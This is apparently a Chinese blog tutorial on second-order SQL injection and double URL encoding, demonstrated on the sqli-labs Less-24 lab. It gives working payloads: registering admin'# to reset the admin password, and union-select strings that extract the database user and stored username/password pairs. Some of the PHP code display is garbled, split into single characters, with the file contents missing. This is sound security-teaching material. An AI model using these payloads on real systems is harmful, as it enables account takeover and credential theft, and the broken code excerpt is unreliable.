渗透测试-SQL注入之二次注入
SQL注入之二次注入
前言
一、什么是二次注入和二次编码
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
普通注入 (1)在http后面构造语句,是立即直接生效的
(2)一次注入很容易被扫描工具扫描到
二次注入 (1) 先构造语句(有被转义字符的语句)
(2)我们构造的恶意语句存入数据库
(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
(4)二次注入更加难以被发现
二次编码这里没有实验演示,因为靶场没有相应的练习,我简单介绍一下什么是二次编码和原理吧
之所以有二次编码注入,是因为当我们输入%2527的时候,浏览器会 将%25转义为%,之后不再进行编码,所以最后成为了%27,最后让浏览器进行载一次编码,就注入了’ ,之后就可以进行注入了。(%27==')
方法:
在注入点后键入%2527,然后按照正常的注入流程开始注入
测试方法
黑盒测试
在可能的注入点后键入%2527,之后进行注入测试
白盒测试
1.是否使用urldecode函数
2.urldecode函数是否在转义方法之后
二、二次注入
1.二次注入方法
我们用sqil-labs24关进行练习,是一个登录界面,随便登录一个用户admin,出现报错了。
我们进行重新创建账号看看,注册admin’#
账号注册成功,重置密码成功
这是我们看到admin账号的密码变为了1234,原来的admin’#密码重置是从123改为了1234,这就是注入代码后未经过处理,从而被二次利用注入了,原理就是#号后面的内容被注释了,‘与前面的’ 闭合了,就直接上传admin了。
2.二次注入环境搭建获取数据库信息
上面的实验不是很好的表现二次注入的真实环境,我们进行代码进行更改,搭建环境进行更深层的练习。
(1)首先我们把users表中的username字段值变大点,便于我们进行注入语句,在mysql终端进行修改
alter table user change usrename varchar(255) character set gbk collate gbk_chinese_ci not null;
(2)增加userlist.php在sqli-labs中24关的目录下
文件内容如下:
?>
(3)进行实验练习,先对userlist的代码进行审计
发现注入的地方
u
s
e
r
n
a
m
e
=
username=
username=row[1];
s
q
l
d
e
t
a
i
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
w
h
e
r
e
u
s
e
r
n
a
m
e
=
′
sql_detail="SELECT * FROM users where username='
sqldetail="SELECT∗FROMuserswhereusername=′username’"; //注入信息
在登录界面我们进行注入试试,在注册页面进行注册一个新用户
1’ union select 1,user(),3#
打开userlist.php
http://192.168.222.4/sqli-labs/Less-24/userlist.php
发现出现了当前用户的信息
注入原理很简单,就是一下的方法进行注入,根据代码进行注入
$username=1’ union select 1,user(),3#;
$sql_detail=“SELECT * FROM users where username=‘’”;
$sql_detail=“SELECT * FROM users where username=‘1’ union select 1,user(),3#'”;
SELECT * FROM users where username=‘1’ union select 1,user(),3#’
最后执行的就是
union select 1,user(),3#
1,root@localhost,3
最后我们再进行一次注入获取表中的数据,在进行一次注册
1’ union select 1,(select concat(0x7e,username,0x7e,password) from security.users limit 0,1),3#
成功获取数据信息,实验结束。
总结
本次实验我们介绍了SQL注入的二次注入的原理和方法,如何在登录界面进行二次注入,在白盒测试下,进行代码审计,发现注入方式,学会对二次注入的攻击与利用。
相关文章
- Dll 注入 —— APC
- Android so注入( inject)和Hook(挂钩)的实现思路讨论
- 依赖注入解释
- Spring构造器注入有多好?
- SpringBoot中整合Junit测试注入Bean失败
- 渗透测试-SQL注入之sqlmap的使用方法及实战案例
- 渗透测试-SQL注入之宽字节注入
- SpringBoot整合MybatisPlus3.X之SQL注入器(九)
- btslab全攻略——搭建安装和sql注入
- web渗透测试----26、SQL注入漏洞--(2)SQL注入漏洞的挖掘(白盒)
- web渗透测试----23、XML外部实体注入--(1)XXE原理
- 《WEB安全渗透测试》(10)SQL注入实战:XFF注入
- 《WEB安全渗透测试》(9)SQL注入实战:base64注入
- 《WEB安全渗透测试》(7)SQL注入实战:宽字节注入
- sqlmap跑宽字节注入(渗透测试之SQL注入之宽字节注入)
- 【sql server压测】sql server使用Diskspd测试SQL Server IO存储
- webSocket无法注入bean问题解决方案